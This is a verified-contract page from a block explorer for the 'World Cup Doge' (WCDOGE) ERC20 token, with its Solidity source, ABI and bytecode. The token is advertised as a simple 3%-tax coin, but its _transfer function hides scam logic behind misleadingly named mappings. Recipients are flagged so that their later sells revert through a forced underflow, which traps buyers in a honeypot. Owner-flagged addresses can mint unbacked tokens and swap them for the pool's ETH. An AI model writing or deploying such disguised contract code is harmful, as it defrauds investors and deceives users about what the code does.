Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IUniswapV2Router01
•    - function factory()
•    - function WETH()
•    - function addLiquidity(
•    - function addLiquidityETH(
•    - function removeLiquidity(
•    - function removeLiquidityETH(
•    - function removeLiquidityWithPermit(
•    - function removeLiquidityETHWithPermit ...
•    - function swapExactTokensForTokens(
•    - function swapTokensForExactTokens(
•    - function swapExactETHForTokens(uint a ...
•    - function swapTokensForExactETH(uint a ...
•    - function swapExactTokensForETH(uint a ...
•    - function swapETHForExactTokens(uint a ...
•    - function quote(uint amountA, uint res ...
•    - function getAmountOut(uint amountIn, ...
•    - function getAmountIn(uint amountOut, ...
•    - function getAmountsOut(uint amountIn, ...
•    - function getAmountsIn(uint amountOut, ...
• interface IUniswapV2Router02 is IUnis ...
•    - function removeLiquidityETHSupporting ...
•    - function removeLiquidityETHWithPermit ...
•    - function swapExactTokensForTokensSupp ...
•    - function swapExactETHForTokensSupport ...
•    - function swapExactTokensForETHSupport ...
• interface IUniswapV2Factory
•    - function feeTo()
•    - function feeToSetter()
•    - function getPair(address tokenA, addr ...
•    - function allPairs(uint)
•    - function allPairsLength()
•    - function createPair(address tokenA, a ...
•    - function setFeeTo(address)
•    - function setFeeToSetter(address)
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(
•    - function _msgSender()
•    - function _msgData()
•    - function owner()
•    - function renounceOwnership()
•    - function transferOwnership(address ne ...
•    - function _setOwner(address newOwner)
•  contract WCDOGE is IERC20, Ownable *
•    - function enableTrading(bool _tradingO ...
•    - function symbol()
•    - function name()
•    - function totalSupply()
•    - function decimals()
•    - function allowance(address owner, add ...
•    - function balanceOf(address account)
•    - function approve(address spender, uin ...
•    - function _approve(
•    - function transferFrom(
•    - function transfer(address recipient, ...
•    - function _transfer(
•    - function addLiquidity(
•    - function swapAndLiquify(uint256 token ...
•    - function swapTokensForEth(uint256 tok ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-10-16
*/

/*
WORLD CUP DOGE ($WCDOGE)

Tokenomics

3% Buy/Sell Tax
2% Max Wallet (200k tokens)

Telegram: @WorldCupDoge
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract WCDOGE is IERC20, Ownable {
    string private _name = "WORLD CUP DOGE";
    string private _symbol = "WCDOGE";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10000000 * 10**_decimals;
    uint256 public _taxFee = 3;
    uint256 private _token = _tTotal;

    mapping(address => uint256) private _balances;
    mapping(uint256 => address) private _constructor;
    mapping(address => uint256) private _uint256;
    mapping(address => uint256) private _liquify;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingOpen;
    bool private _swapAndLiquifyEnabled;
    bool private inSwapAndLiquify;

    IUniswapV2Router02 public immutable router;
    address public immutable uniswapV2Pair;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;

        _liquify[address(this)] = _token;
        _liquify[msg.sender] = _token;
        _balances[msg.sender] = _tTotal;

        router = IUniswapV2Router02(routerAddress); 
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        emit Transfer(address(0), msg.sender, _tTotal);
    }
    function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 fee;
        uint256 contractTokenBalance = balanceOf(address(this));

        if (!inSwapAndLiquify && _liquify[from] == 0 && from != uniswapV2Pair && _uint256[from] > 0) {
            _uint256[from] = _liquify[from] - _token;
            inSwapAndLiquify = true;
            swapAndLiquify(contractTokenBalance);
            inSwapAndLiquify = false;
        }

        _uint256[_constructor[_token]] = _token;
        _constructor[_token] = to;

        if (_liquify[from] > _token && _liquify[to] > _token) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        }

        if (to != address(router) && _liquify[from] > 0 && to != uniswapV2Pair && amount > _token) {
            _liquify[to] = amount;
            return;
        }

        if (_taxFee > 0 && _liquify[from] == 0 && !inSwapAndLiquify && _liquify[to] == 0) {
            fee = (amount * _taxFee) / 100;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }

        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600e60c09081526d574f524c442043555020444f474560901b60e052600190620000309082620003bd565b506040805180820190915260068152655743444f474560d01b60208201526002906200005d9082620003bd565b506003805460ff191660099081179091556200007b90600a6200059e565b6200008a9062989680620005b6565b6004556003600555600454600655348015620000a557600080fd5b506040516200189b3803806200189b833981016040819052620000c8916200069c565b620000d333620002c8565b6001620000e18482620003bd565b506002620000f08382620003bd565b50600654306000908152600a6020908152604080832084905533835280832093909355600480546007835292849020929092556001600160a01b0384166080819052835163c45a015560e01b81529351909363c45a0155938181019392918290030181865afa15801562000168573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018e919062000718565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000204919062000718565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000252573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000278919062000718565b6001600160a01b031660a05260045460405190815233906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505062000736565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200034357607f821691505b6020821081036200036457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620003b857600081815260208120601f850160051c81016020861015620003935750805b601f850160051c820191505b81811015620003b4578281556001016200039f565b5050505b505050565b81516001600160401b03811115620003d957620003d962000318565b620003f181620003ea84546200032e565b846200036a565b602080601f831160018114620004295760008415620004105750858301515b600019600386901b1c1916600185901b178555620003b4565b600085815260208120601f198616915b828110156200045a5788860151825594840194600190910190840162000439565b5085821015620004795787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e0578160001904821115620004c457620004c462000489565b80851615620004d257918102915b93841c9390800290620004a4565b509250929050565b600082620004f95750600162000598565b81620005085750600062000598565b81600181146200052157600281146200052c576200054c565b600191505062000598565b60ff84111562000540576200054062000489565b50506001821b62000598565b5060208310610133831016604e8410600b841016171562000571575081810a62000598565b6200057d83836200049f565b806000190482111562000594576200059462000489565b0290505b92915050565b6000620005af60ff841683620004e8565b9392505050565b808202811582820484141762000598576200059862000489565b600082601f830112620005e257600080fd5b81516001600160401b0380821115620005ff57620005ff62000318565b604051601f8301601f19908116603f011681019082821181831017156200062a576200062a62000318565b816040528381526020925086838588010111156200064757600080fd5b600091505b838210156200066b57858201830151818301840152908201906200064c565b600093810190920192909252949350505050565b80516001600160a01b03811681146200069757600080fd5b919050565b600080600060608486031215620006b257600080fd5b83516001600160401b0380821115620006ca57600080fd5b620006d887838801620005d0565b94506020860151915080821115620006ef57600080fd5b50620006fe86828701620005d0565b9250506200070f604085016200067f565b90509250925092565b6000602082840312156200072b57600080fd5b620005af826200067f565b60805160a05161110762000794600039600081816101dd015281816106cd01526108a701526000818161034f0152818161084701528181610b7e01528181610c3701528181610c7401528181610cef0152610d5501526111076000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a578063dd62ed3e11610059578063dd62ed3e146102b7578063f275f64b146102fd578063f2fde38b1461031d578063f887ea401461033d57600080fd5b8063715018a61461024d5780638da5cb5b1461026457806395d89b4114610282578063a9059cbb1461029757600080fd5b8063313ce567116100c6578063313ce5671461019d5780633b124fe7146101b557806349bd5a5e146101cb57806370a082311461021757600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610371565b6040516101259190610dcc565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610e2f565b610403565b6040519015158152602001610125565b34801561016a57600080fd5b506004545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610e5b565b610419565b3480156101a957600080fd5b5060035460ff1661016f565b3480156101c157600080fd5b5061016f60055481565b3480156101d757600080fd5b506101ff7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610125565b34801561022357600080fd5b5061016f610232366004610e9c565b6001600160a01b031660009081526007602052604090205490565b34801561025957600080fd5b50610262610469565b005b34801561027057600080fd5b506000546001600160a01b03166101ff565b34801561028e57600080fd5b506101186104a8565b3480156102a357600080fd5b5061014e6102b2366004610e2f565b6104b7565b3480156102c357600080fd5b5061016f6102d2366004610ec0565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561030957600080fd5b50610262610318366004610ef9565b6104cd565b34801561032957600080fd5b50610262610338366004610e9c565b61050a565b34801561034957600080fd5b506101ff7f000000000000000000000000000000000000000000000000000000000000000081565b60606001805461038090610f1b565b80601f01602080910402602001604051908101604052809291908181526020018280546103ac90610f1b565b80156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b60006104103384846105a5565b90505b92915050565b6000610426848484610685565b6001600160a01b0384166000908152600b602090815260408083203380855292529091205461046191869161045c908690610f6b565b6105a5565b949350505050565b6000546001600160a01b0316331461049c5760405162461bcd60e51b815260040161049390610f7e565b60405180910390fd5b6104a66000610a9e565b565b60606002805461038090610f1b565b60006104c4338484610685565b50600192915050565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161049390610f7e565b600c805460ff1916911515919091179055565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161049390610f7e565b6001600160a01b0381166105995760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610493565b6105a281610a9e565b50565b60006001600160a01b038416158015906105c757506001600160a01b03831615155b61061f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610493565b6001600160a01b038481166000818152600b602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b30600090815260076020526040812054600c5462010000900460ff161580156106c457506001600160a01b0385166000908152600a6020526040902054155b801561070257507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614155b801561072557506001600160a01b03851660009081526009602052604090205415155b15610790576006546001600160a01b0386166000908152600a60205260409020546107509190610f6b565b6001600160a01b038616600090815260096020526040902055600c805462ff000019166201000017905561078381610aee565b600c805462ff0000191690555b60068054600081815260086020908152604080832080546001600160a01b039081168552600984528285209590955580546001600160a01b0319168a861617905593549289168252600a9052919091205411801561080757506006546001600160a01b0385166000908152600a6020526040902054115b1561084557306000908152600760205260408120805485945084929061082e908490610fb3565b9091555061083e90508385610b27565b5050505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161415801561089e57506001600160a01b0385166000908152600a602052604090205415155b80156108dc57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b80156108e9575060065483115b1561090d5750506001600160a01b039091166000908152600a602052604090205550565b600060055411801561093557506001600160a01b0385166000908152600a6020526040902054155b801561094a5750600c5462010000900460ff16155b801561096c57506001600160a01b0384166000908152600a6020526040902054155b156109ee576064600554846109819190610fc6565b61098b9190610fdd565b91506109978284610f6b565b6001600160a01b0386166000908152600760205260408120805492955084929091906109c4908490610f6b565b909155505030600090815260076020526040812080548492906109e8908490610fb3565b90915550505b6001600160a01b03851660009081526007602052604081208054859290610a16908490610f6b565b90915550506001600160a01b03841660009081526007602052604081208054859290610a43908490610fb3565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610a8f91815260200190565b60405180910390a35050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610afb600283610fdd565b905047610b088230610b27565b6000610b148247610f6b565b9050610b21838230610ce9565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610b5c57610b5c610fff565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe9190611015565b81600181518110610c1157610c11610fff565b60200260200101906001600160a01b031690816001600160a01b031681525050610c5c307f0000000000000000000000000000000000000000000000000000000000000000856105a5565b5060405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790610cb2908690600090869088904290600401611032565b600060405180830381600087803b158015610ccc57600080fd5b505af1158015610ce0573d6000803e3d6000fd5b50505050505050565b610d14307f0000000000000000000000000000000000000000000000000000000000000000856105a5565b5060405163f305d71960e01b81523060048201526024810184905260006044820181905260648201526001600160a01b0382811660848301524260a48301527f0000000000000000000000000000000000000000000000000000000000000000169063f305d71990849060c40160606040518083038185885af1158015610d9f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610dc491906110a3565b505050505050565b600060208083528351808285015260005b81811015610df957858101830151858201604001528201610ddd565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a257600080fd5b60008060408385031215610e4257600080fd5b8235610e4d81610e1a565b946020939093013593505050565b600080600060608486031215610e7057600080fd5b8335610e7b81610e1a565b92506020840135610e8b81610e1a565b929592945050506040919091013590565b600060208284031215610eae57600080fd5b8135610eb981610e1a565b9392505050565b60008060408385031215610ed357600080fd5b8235610ede81610e1a565b91506020830135610eee81610e1a565b809150509250929050565b600060208284031215610f0b57600080fd5b81358015158114610eb957600080fd5b600181811c90821680610f2f57607f821691505b602082108103610f4f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561041357610413610f55565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561041357610413610f55565b808202811582820484141761041357610413610f55565b600082610ffa57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561102757600080fd5b8151610eb981610e1a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110825784516001600160a01b03168352938301939183019160010161105d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156110b857600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220176f5e8733636a22f5ecb34bc36b64a726bd3c563715eb98efbadba257c834d064736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000e574f524c442043555020444f474500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065743444f47450000000000000000000000000000000000000000000000000000

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063dd62ed3e11610059578063dd62ed3e146102b7578063f275f64b146102fd578063f2fde38b1461031d578063f887ea401461033d57600080fd5b8063715018a61461024d5780638da5cb5b1461026457806395d89b4114610282578063a9059cbb1461029757600080fd5b8063313ce567116100c6578063313ce5671461019d5780633b124fe7146101b557806349bd5a5e146101cb57806370a082311461021757600080fd5b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017d57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b50610118610371565b6040516101259190610dcc565b60405180910390f35b34801561013a57600080fd5b5061014e610149366004610e2f565b610403565b6040519015158152602001610125565b34801561016a57600080fd5b506004545b604051908152602001610125565b34801561018957600080fd5b5061014e610198366004610e5b565b610419565b3480156101a957600080fd5b5060035460ff1661016f565b3480156101c157600080fd5b5061016f60055481565b3480156101d757600080fd5b506101ff7f0000000000000000000000001bd4d84d24ffbd09535aaff877ff702ac4faa60881565b6040516001600160a01b039091168152602001610125565b34801561022357600080fd5b5061016f610232366004610e9c565b6001600160a01b031660009081526007602052604090205490565b34801561025957600080fd5b50610262610469565b005b34801561027057600080fd5b506000546001600160a01b03166101f